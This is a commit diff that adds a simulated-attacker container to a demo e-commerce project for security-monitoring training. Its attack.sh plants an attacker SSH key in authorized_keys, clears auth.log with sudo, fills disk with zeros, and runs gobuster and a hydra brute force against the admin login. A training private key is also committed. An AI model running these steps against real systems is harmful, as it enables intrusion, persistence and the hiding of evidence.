Skip to content

Commit 9e3621f

Browse files
Port attackbox from ecommerce-workshop (#25)
* add attackbox, update discounts to be attacked * add attackbox env vars to template * update instructions
1 parent 439d5fe commit 9e3621f

File tree

16 files changed

+374
-10
lines changed

16 files changed

+374
-10
lines changed

.env.template

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,4 +3,12 @@ DISCOUNTS_PORT=2814
33
AUTH_PORT=7578
44
POSTGRES_USER=postgres
55
POSTGRES_PASSWORD=postgres
6-
DD_API_KEY=
6+
DD_API_KEY=
7+
ATTACK_SSH=0
8+
ATTACK_GOBUSTER=0
9+
ATTACK_HYDRA=0
10+
ATTACK_HOST=nginx
11+
ATTACK_PORT=80
12+
ATTACK_SSH_INTERVAL=0
13+
ATTACK_GOBUSTER_INTERVAL=0
14+
ATTACK_HYDRA_INTERVAL=0

.github/workflows/attackbox.yml

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
name: Attackbox
2+
3+
on:
4+
push:
5+
branches: [ main ]
6+
paths:
7+
- services/attackbox/**
8+
workflow_dispatch:
9+
branches: [ main ]
10+
11+
defaults:
12+
run:
13+
working-directory: attackbox
14+
15+
jobs:
16+
17+
build:
18+
19+
runs-on: ubuntu-latest
20+
21+
steps:
22+
- name: Checkout
23+
uses: actions/checkout@v2
24+
25+
- name: Set up Docker Buildx
26+
uses: docker/setup-buildx-action@v1
27+
28+
- name: Configure AWS credentials
29+
uses: aws-actions/configure-aws-credentials@v1
30+
with:
31+
aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
32+
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
33+
aws-region: us-east-1
34+
35+
- name: Login to ECR
36+
id: login-ecr
37+
uses: docker/login-action@v1
38+
with:
39+
registry: public.ecr.aws
40+
username: ${{ secrets.AWS_ACCESS_KEY_ID }}
41+
password: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
42+
43+
- name: Build and push
44+
uses: docker/build-push-action@v2
45+
with:
46+
context: ./services/attackbox
47+
platforms: linux/amd64
48+
push: true
49+
tags: ${{ secrets.PUBLIC_ECR_REGISTRY }}/storedog/attackbox:latest
50+

.github/workflows/release.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,7 @@ jobs:
3939
${{ secrets.PUBLIC_ECR_REGISTRY }}/storedog/backend
4040
${{ secrets.PUBLIC_ECR_REGISTRY }}/storedog/discounts
4141
${{ secrets.PUBLIC_ECR_REGISTRY }}/storedog/ads
42+
${{ secrets.PUBLIC_ECR_REGISTRY }}/storedog/attackbox
4243
${{ secrets.PUBLIC_ECR_REGISTRY }}/storedog/auth
4344
)
4445

docker-compose.yml

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -103,12 +103,11 @@ services:
103103
- DD_APPSEC_ENABLED=true
104104
build:
105105
context: ./services/discounts
106-
command: flask run --port=${DISCOUNTS_PORT} --host=0.0.0.0 # If using any other port besides the default 8282, overriding the CMD is required
107106
volumes:
108107
- "./services/discounts:/app"
109108
ports:
110109
- "${DISCOUNTS_PORT}:${DISCOUNTS_PORT}"
111-
- "22"
110+
- "22:22"
112111
networks:
113112
- storedog-net
114113
auth:
@@ -154,6 +153,25 @@ services:
154153
- /sys/fs/cgroup/:/host/sys/fs/cgroup:ro
155154
networks:
156155
- storedog-net
156+
attackbox:
157+
build:
158+
context: ./services/attackbox
159+
profiles:
160+
- attackbox
161+
environment:
162+
- ATTACK_GOBUSTER
163+
- ATTACK_HYDRA
164+
- ATTACK_GOBUSTER_INTERVAL
165+
- ATTACK_HYDRA_INTERVAL
166+
- ATTACK_SSH
167+
- ATTACK_SSH_INTERVAL
168+
- ATTACK_HOST
169+
- ATTACK_PORT
170+
networks:
171+
- storedog-net
172+
depends_on:
173+
- web
174+
- discounts
157175

158176
volumes:
159177
redis:

services/attackbox/.dockerignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Dockerfile*
2+
.dockerignore

services/attackbox/Dockerfile

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
FROM kalilinux/kali-rolling:latest
2+
RUN mkdir /app
3+
4+
ADD https://github.com/OJ/gobuster/releases/download/v3.1.0/gobuster-linux-amd64.7z /app
5+
ADD https://github.com/vanhauser-thc/thc-hydra/archive/refs/tags/v9.3.zip /app
6+
7+
# Install packages
8+
RUN export DEBIAN_FRONTEND=noninteractive && \
9+
apt-get update && \
10+
apt-get upgrade --yes && \
11+
apt-get install --yes libssl-dev libssh-dev libidn11-dev libpcre3-dev \
12+
libgtk2.0-dev libmariadb-dev libpq-dev libsvn-dev \
13+
firebird-dev libmemcached-dev libgpg-error-dev \
14+
libgcrypt20-dev openssh-client iputils-ping wordlists \
15+
build-essential libpq-dev p7zip unzip jq && \
16+
apt-get clean && \
17+
rm -rf /var/lib/apt/lists/*
18+
19+
# Create user and ssh dir
20+
RUN useradd -m user
21+
RUN mkdir -p /home/user/.ssh
22+
COPY keys/storedog-leaked-key /home/user/.ssh/id_rsa
23+
24+
# Install gobuster and hydra
25+
WORKDIR /app
26+
RUN gzip -d /usr/share/wordlists/rockyou.txt.gz
27+
RUN 7zr e ./gobuster-linux-amd64.7z && chmod +x gobuster
28+
RUN unzip v9.3.zip && cd thc-hydra-9.3/ && ./configure && make && make install
29+
30+
# Copy attack script and keys
31+
COPY . .
32+
33+
# Update permissions so ssh keys can be accessed outside sudo user
34+
RUN chown -R user:user /home/user/.ssh
35+
RUN chmod +x attack.sh
36+
RUN chown -R user ./keys
37+
38+
# Switch back to new user so we can SSH properly
39+
USER user
40+
RUN chmod 400 /home/user/.ssh/id_rsa
41+
RUN chmod 400 ./keys/attacker-key
42+
43+
CMD [ "./attack.sh"]

services/attackbox/README.md

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
# Attack Box
2+
3+
This is a container that simulates an adversary attempting to hack the online store.
4+
5+
The script has 3 stages:
6+
1) Malicious SSH configuration
7+
2) Gobuster
8+
3) Hydra
9+
10+
## Deployment
11+
12+
The attack box is configurable via environment variables found in the `.env` file.
13+
- **ATTACK_SSH**: Set to `1` to run the SSH attack script against the discounts container
14+
- **ATTACK_GOBUSTER**: Set to `1` to run the Gobuster tool for crawling directories on the container specified in `ATTACK_HOST`
15+
- **ATTACK_HYDRA**: Set to `1` to run the Hydra tool for brute force login
16+
- **ATTACK_SSH_INTERVAL**: Number of seconds between SSH attack invocations (if ommited, SSH attack will run once)
17+
- **ATTACK_GOBUSTER_INTERVAL**: Number of seconds between GOBUSTER invocations (if ommited, GOBUSTER will run once)
18+
- **ATTACK_HYDRA_INTERVAL**: Number of seconds between HYDRA invocations (if ommited, HYDRA will run once)
19+
- **ATTACK_PORT**: The web port you want to run the attacks against for hydra and dirbuster.
20+
- **ATTACK_HOST**: The web host that hydra and dirbuster will attack. ( Probably frontend or nginx )
21+
22+
For example, if you wanted to run Gobuster every 60 seconds and Hydra ever 90 seconds, your `.env` file would look like this:
23+
```
24+
ATTACK_GOBUSTER=1
25+
ATTACK_GOBUSTER_INTERVAL=60
26+
ATTACK_HYDRA=1
27+
ATTACK_HYDRA_INTERVAL=90
28+
```
29+
## How to start the attackbox service
30+
1. `cp .env.template .env`
31+
2. Set the attack config variables as explained above
32+
3. Run `docker compose --profile attackbox up `

services/attackbox/attack.sh

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
#!/bin/bash
2+
3+
function ssh_attack()
4+
{
5+
# attempt to copy attacker key to discounts
6+
scp -o StrictHostKeyChecking=no ./keys/attacker-key.pub test@discounts:/home/test/.ssh
7+
8+
# attempt to update authorized_keys to have attacker key
9+
ssh -o StrictHostKeyChecking=no test@discounts /bin/bash <<EOT
10+
cat /home/test/.ssh/attacker-key.pub >> /home/test/.ssh/authorized_keys
11+
exit
12+
EOT
13+
14+
# attempt to clear log file and zero out unallocated disk space
15+
ssh -o StrictHostKeyChecking=no -i ./keys/attacker-key test@discounts /bin/bash <<EOT
16+
echo "test" | sudo -S cp /dev/null /var/log/auth.log
17+
echo "test" | sudo -S dd if=/dev/zero of=tempfile bs=1000000 count=10
18+
exit
19+
EOT
20+
}
21+
22+
if [ "${ATTACK_SSH}" = 1 ];
23+
then
24+
if [[ -z "${ATTACK_SSH_INTERVAL}" ]]
25+
then
26+
# run single invocation
27+
ssh_attack
28+
else
29+
# run in a loop
30+
while true
31+
do
32+
ssh_attack
33+
sleep $ATTACK_SSH_INTERVAL
34+
done &
35+
fi
36+
fi
37+
38+
# Add extra sleep to give frontend time to spin up (docker compose dependency is not enough)
39+
sleep 15
40+
41+
if [ "${ATTACK_GOBUSTER}" = 1 ];
42+
then
43+
if [[ -z "${ATTACK_GOBUSTER_INTERVAL}" ]]
44+
then
45+
./gobuster dir -u http://${ATTACK_HOST}:${ATTACK_PORT} -w /usr/share/wordlists/rockyou.txt
46+
else
47+
while true
48+
do
49+
./gobuster dir -u http://${ATTACK_HOST}:${ATTACK_PORT} -w /usr/share/wordlists/rockyou.txt
50+
sleep $ATTACK_GOBUSTER_INTERVAL
51+
done &
52+
fi
53+
fi
54+
55+
if [ "${ATTACK_HYDRA}" = 1 ];
56+
then
57+
if [[ -z "${ATTACK_HYDRA_INTERVAL}" ]]
58+
then
59+
hydra -l [email protected] -P /usr/share/wordlists/rockyou.txt -s ${ATTACK_PORT} ${ATTACK_HOST} http-post-form "/login:utf8=%E2%9C%93&authenticity_token=BonCnTVpWzCfGtgqZ7TiwEcSH89jz30%2F01vkNuVsKyKcC8xCF2DqeHF%2Bc%2B4U2CNWeArygGNPX%2BDvONHHz7Dr6Q%3D%3D&spree_user%5Bemail%5D=admin%40storedog.com&spree_user%5Bpassword%5D=^PASS^&spree_user%5Bremember_me%5D=0&commit=Login:Invalid email or password."
60+
else
61+
while true
62+
do
63+
hydra -l [email protected] -P /usr/share/wordlists/rockyou.txt -s ${ATTACK_PORT} ${ATTACK_HOST} http-post-form "/login:utf8=%E2%9C%93&authenticity_token=BonCnTVpWzCfGtgqZ7TiwEcSH89jz30%2F01vkNuVsKyKcC8xCF2DqeHF%2Bc%2B4U2CNWeArygGNPX%2BDvONHHz7Dr6Q%3D%3D&spree_user%5Bemail%5D=admin%40storedog.com&spree_user%5Bpassword%5D=^PASS^&spree_user%5Bremember_me%5D=0&commit=Login:Invalid email or password."
64+
sleep $ATTACK_HYDRA_INTERVAL
65+
done
66+
fi
67+
fi
68+
69+
# keep container alive
70+
sleep infinity

services/attackbox/keys/README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
### Attention
2+
3+
These keys are used for training purposes and were **intentionally** added to this repository. These keys are self-contained within the docker images. They do not reside in any other external server. Please do not flag for security purposes and/or a bug bounty program.
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
-----BEGIN OPENSSH PRIVATE KEY-----
2+
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
38+
-----END OPENSSH PRIVATE KEY-----

0 commit comments

Comments
 (0)